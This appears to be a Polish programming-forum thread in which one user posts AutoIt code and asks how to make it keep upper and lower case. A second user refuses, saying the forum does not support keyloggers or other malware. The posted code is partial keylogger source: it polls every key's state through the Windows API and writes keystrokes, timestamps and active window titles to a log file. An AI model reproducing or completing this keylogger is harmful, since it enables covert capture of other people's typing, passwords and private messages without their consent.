Wielkość Liter 2 xD

[Bum662]

Jak zrobić żeby odróżniało wielkość liter i wpisywało zgodnie z wpisem mała litera i duża?

 

Korzystam z user32.dll

 

(To częśc KODU!)

 

 

Func sGetKey()
    While 1
        Sleep(15)
        For $sKey = 8 To 126
            $Result = _WinAPI_GetAsyncKeyState($sKey)
            If $Result = -32767 Then
                If $sKey = 13 Then
                    $Result = $Enter2
                    _LogKeyPress($Result)
                ElseIf $sKey = 8 Then
                    $Result = $Bs
                    _LogKeyPress($Result)
                Else
                    $Result = ChrW($sKey)
                    _LogKeyPress($Result)
                EndIf
            EndIf
        Next


    WEnd
EndFunc   ;==>sGetKey
#EndRegion


Func _LogKeyPress($Result)
    $Window = WinGetTitle("")
    If $Window = $Window2 Then
        FileWrite($Log, $Result)
    Else
        $Window2 = $Window
        FileWrite($Log, "<BR>" & "<b>" & "[" & @YEAR & "." & @MON & "." & @MDAY & "  " & @HOUR & ":" & @MIN & ":" & @SEC & "]" & @TAB & $Window & "</b>" & "<BR>" & $Result)


EndIf
EndFunc

 

[TCQ]

Nie wspieramy tworzenia keyloggerów oraz innego szkodliwego oprogramowania na forum.